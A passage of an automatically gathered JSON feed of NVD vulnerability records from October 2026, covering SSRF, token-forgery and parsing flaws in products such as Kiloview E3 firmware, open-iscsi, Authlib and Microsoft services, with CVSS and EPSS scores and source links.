excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-19678","cveId":"CVE-2026-19678","aliases":[],"kind":"vulnerability","title":"A server-side request forgery (SSRF) vulnerability in the unauthenticated form service in version 11.0.14 in onPhase Forms allows an unauthenticated remote attacker to access...","summary":"A server-side request forgery (SSRF) vulnerability in the unauthenticated form service in version 11.0.14 in onPhase Forms allows an unauthenticated remote attacker to access sensitive internal Apache Solr data via an attacker-controlled URL supplied to a publicly accessible form.","detail":"A server-side request forgery (SSRF) vulnerability in the unauthenticated form service in version 11.0.14 in onPhase Forms allows an unauthenticated remote attacker to access sensitive internal Apache Solr data via an attacker-controlled URL supplied to a publicly accessible form.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T02:16:57.700Z","updatedAt":"2026-10-23T19:45:03.547Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-19678","asOf":"2026-10-23T19:45:03.547Z"},"epss":{"probability":0.00386,"percentile":0.32381,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-19678&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-19678","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-19678","type":"primary","publishedAt":"2026-10-23T02:16:57.700Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-19678&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-19678, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115486","cveId":"CVE-2026-115486","aliases":[],"kind":"vulnerability","title":"A flaw was found in the iscsiuio component of open-iscsi. The IPv6 Neighbor Discovery handler accesses link-layer address options at a fixed offset without verifying the packet...","summary":"A flaw was found in the iscsiuio component of open-iscsi. The IPv6 Neighbor Discovery handler accesses link-layer address options at a fixed offset without verifying the packet contains them. Additionally, the ARP table is updated unconditionally with attacker-controlled addresses from the packet headers. An attacker on the same network segment can send a minimal Neighbor Advertisement to poison the ARP table and redirect network traffic.","detail":"A flaw was found in the iscsiuio component of open-iscsi. The IPv6 Neighbor Discovery handler accesses link-layer address options at a fixed offset without verifying the packet contains them. Additionally, the ARP table is updated unconditionally with attacker-controlled addresses from the packet headers. An attacker on the same network segment can send a minimal Neighbor Advertisement to poison the ARP table and redirect network traffic.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T01:16:53.943Z","updatedAt":"2026-10-23T16:44:17.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115486","asOf":"2026-10-23T16:44:17.950Z"},"epss":{"probability":0.00207,"percentile":0.1066,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115486&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115486","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115486","type":"primary","publishedAt":"2026-10-23T01:16:53.943Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115486&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115486, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115484","cveId":"CVE-2026-115484","aliases":[],"kind":"vulnerability","title":"A flaw was found in the iscsiuio component of open-iscsi. The DHCPv4 option parser incorrectly calculates the length of the options data, causing it to read beyond the allocated...","summary":"A flaw was found in the iscsiuio component of open-iscsi. The DHCPv4 option parser incorrectly calculates the length of the options data, causing it to read beyond the allocated buffer into adjacent heap memory. An attacker on the same network segment can send a crafted DHCP response to crash the daemon or corrupt its network configuration.","detail":"A flaw was found in the iscsiuio component of open-iscsi. The DHCPv4 option parser incorrectly calculates the length of the options data, causing it to read beyond the allocated buffer into adjacent heap memory. An attacker on the same network segment can send a crafted DHCP response to crash the daemon or corrupt its network configuration.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T01:16:53.670Z","updatedAt":"2026-10-23T16:44:17.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115484","asOf":"2026-10-23T16:44:17.950Z"},"epss":{"probability":0.00222,"percentile":0.12592,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115484&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115484","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115484","type":"primary","publishedAt":"2026-10-23T01:16:53.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115484&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115484, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92450","cveId":"CVE-2026-92450","aliases":[],"kind":"vulnerability","title":"The authentication framework used by affected Kiloview E3 NDI encoder firmware signs session JSON Web Tokens using an HMAC-SHA256 secret hardcoded as a static string within the...","summary":"The authentication framework used by affected Kiloview E3 NDI encoder firmware signs session JSON Web Tokens using an HMAC-SHA256 secret hardcoded as a static string within the firmware image, identical across all deployed devices. An attacker with access to the publicly distributed firmware can recover this secret and forge arbitrary session tokens, including administrative tokens, without valid credentials, enabling unauthenticated access to privileged device functions.","detail":"The authentication framework used by affected Kiloview E3 NDI encoder firmware signs session JSON Web Tokens using an HMAC-SHA256 secret hardcoded as a static string within the firmware image, identical across all deployed devices. An attacker with access to the publicly distributed firmware can recover this secret and forge arbitrary session tokens, including administrative tokens, without valid credentials, enabling unauthenticated access to privileged device functions.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T23:20:33.703Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92450","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00375,"percentile":0.31221,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92450&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92450","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92450","type":"primary","publishedAt":"2026-10-22T23:20:33.703Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92450&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92450, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110825","cveId":"CVE-2026-110825","aliases":[],"kind":"vulnerability","title":"The ONVIF device service on affected Kiloview E3 NDI encoder firmware accepts hostname, DNS, and NTP configuration write operations without requiring authentication, regardless of...","summary":"The ONVIF device service on affected Kiloview E3 NDI encoder firmware accepts hostname, DNS, and NTP configuration write operations without requiring authentication, regardless of the device's configured authentication setting for this service. A remote, unauthenticated attacker can alter the device hostname, redirect DNS resolution, or modify the configured time source, enabling follow on attacks such as traffic interception or certificate validation bypass.","detail":"The ONVIF device service on affected Kiloview E3 NDI encoder firmware accepts hostname, DNS, and NTP configuration write operations without requiring authentication, regardless of the device's configured authentication setting for this service. A remote, unauthenticated attacker can alter the device hostname, redirect DNS resolution, or modify the configured time source, enabling follow on attacks such as traffic interception or certificate validation bypass.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T23:18:22.940Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110825","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00413,"percentile":0.35345,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110825&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110825","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110825","type":"primary","publishedAt":"2026-10-22T23:18:22.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110825&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110825, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110491","cveId":"CVE-2026-110491","aliases":[],"kind":"vulnerability","title":"The ONVIF service on the E3 can be rendered unresponsive by sending malformed or incomplete requests to certain operations.","summary":"The ONVIF service on the E3 can be rendered unresponsive by sending malformed or incomplete requests to certain operations. The affected service stops accepting new connections while the rest of the device continues operating normally, and will recover automatically after a period. This can be triggered repeatedly by any unauthenticated party with network access to the device.","detail":"The ONVIF service on the E3 can be rendered unresponsive by sending malformed or incomplete requests to certain operations. The affected service stops accepting new connections while the rest of the device continues operating normally, and will recover automatically after a period. This can be triggered repeatedly by any unauthenticated party with network access to the device.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T23:18:22.797Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110491","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00524,"percentile":0.44194,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110491&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110491","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110491","type":"primary","publishedAt":"2026-10-22T23:18:22.797Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110491&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110491, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96616","cveId":"CVE-2026-96616","aliases":[],"kind":"vulnerability","title":"Authentication tokens issued by the E3's web management interface on login are given an expiration time far beyond any reasonable session lifetime, effectively making them...","summary":"Authentication tokens issued by the E3's web management interface on login are given an expiration time far beyond any reasonable session lifetime, effectively making them non-expiring. A token obtained through interception or device compromise remains valid for authenticated access for an extended period.","detail":"Authentication tokens issued by the E3's web management interface on login are given an expiration time far beyond any reasonable session lifetime, effectively making them non-expiring. A token obtained through interception or device compromise remains valid for authenticated access for an extended period.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T22:20:01.343Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96616","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00371,"percentile":0.30785,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96616&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96616","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96616","type":"primary","publishedAt":"2026-10-22T22:20:01.343Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96616&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96616, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96185","cveId":"CVE-2026-96185","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Microsoft Exchange Online allows an authorized attacker to execute code over a network.","summary":"Stack-based buffer overflow in Microsoft Exchange Online allows an authorized attacker to execute code over a network.","detail":"Stack-based buffer overflow in Microsoft Exchange Online allows an authorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T22:19:53.850Z","updatedAt":"2026-10-24T04:18:28.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Exchange"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96185","asOf":"2026-10-24T04:18:28.910Z"},"epss":{"probability":0.0054,"percentile":0.45126,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96185&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96185","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96185","type":"primary","publishedAt":"2026-10-22T22:19:53.850Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96185&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96185, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114616","cveId":"CVE-2026-114616","aliases":[],"kind":"vulnerability","title":"Authlib is a Python library which builds OAuth and OpenID Connect servers.","summary":"Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.1, Authlib's OctKey.import_key() and HMAC signing and verification path accept zero-length key material. If an application's secret lookup can return an empty string or empty bytes, a remote attacker can compute the deterministic HS256, HS384, or HS512 signature for arbitrary token claims and have Authlib treat the token as authentic. This issue is fixed in version 1.9.1.","detail":"Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.1, Authlib's OctKey.import_key() and HMAC signing and verification path accept zero-length key material. If an application's secret lookup can return an empty string or empty bytes, a remote attacker can compute the deterministic HS256, HS384, or HS512 signature for arbitrary token claims and have Authlib treat the token as authentic. This issue is fixed in version 1.9.1.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T22:18:04.420Z","updatedAt":"2026-10-23T19:34:14.170Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114616","asOf":"2026-10-23T19:34:14.170Z"},"epss":{"probability":0.00212,"percentile":0.11386,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114616&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114616","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114616","type":"primary","publishedAt":"2026-10-22T22:18:04.420Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114616&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114616, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114615","cveId":"CVE-2026-114615","aliases":[],"kind":"vulnerability","title":"Authlib is a Python library which builds OAuth and OpenID Connect servers.","summary":"Authlib is a Python library which builds OAuth and OpenID Connect servers. From 1.3.1 until 1.9.0, OctKey.import_key() checks asymmetric-key markers only at byte zero while Authlib's PEM loaders accept leading whitespace, comments, or a byte-order mark. In deployments that use the documented mixed algorithm registry and already configure verification with PEM or certificate bytes containing such a prefix, an unauthenticated attacker who knows those same public-key bytes can use them as an HMAC secret and forge HS256 tokens with arbitrary identity or authorization claims. This is a bypass of the remediation for CVE-2024-37568. The module-level jwt object reaches OctKey.import_key() in authlib/jose/rfc7518/oct_key.py, where POSSIBLE_UNSAFE_KEYS fails to identify prefixed asymmetric key material. This issue is fixed in version 1.9.0.","detail":"Authlib is a Python library which builds OAuth and OpenID Connect servers. From 1.3.1 until 1.9.0, OctKey.import_key() checks asymmetric-key markers only at byte zero while Authlib's PEM loaders accept leading whitespace, comments, or a byte-order mark. In deployments that use the documented mixed algorithm registry and already configure verification with PEM or certificate bytes containing such a prefix, an unauthenticated attacker who knows those same public-key bytes can use them as an HMAC secret and forge HS256 tokens with arbitrary identity or authorization claims. This is a bypass of the remediation for CVE-2024-37568. The module-level jwt object reaches OctKey.import_key() in authlib/jose/rfc7518/oct_key.py, where POSSIBLE_UNSAFE_KEYS fails to identify prefixed asymmetric key material. This issue is fixed in version 1.9.0.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T22:18:04.257Z","updatedAt":"2026-10-23T19:34:14.170Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114615","asOf":"2026-10-23T19:34:14.170Z"},"epss":{"probability":0.00127,"percentile":0.0238,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114615&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114615","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114615","type":"primary","publishedAt":"2026-10-22T22:18:04.257Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114615&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114615, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108456","cveId":"CVE-2026-108456","aliases":[],"kind":"vulnerability","title":"Server-side request forgery (ssrf) in Azure AI Foundry allows an authorized attacker to elevate privileges over a network.","summary":"Server-side request forgery (ssrf) in Azure AI Foundry allows an authorized attacker to elevate privileges over a network.","detail":"Server-side request forgery (ssrf) in Azure AI Foundry allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T22:17:58.473Z","updatedAt":"2026-10-26T14:16:24.323Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Azure"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108456","asOf":"2026-10-26T14:16:24.323Z"},"epss":{"probability":0.00701,"percentile":0.52946,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108456&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 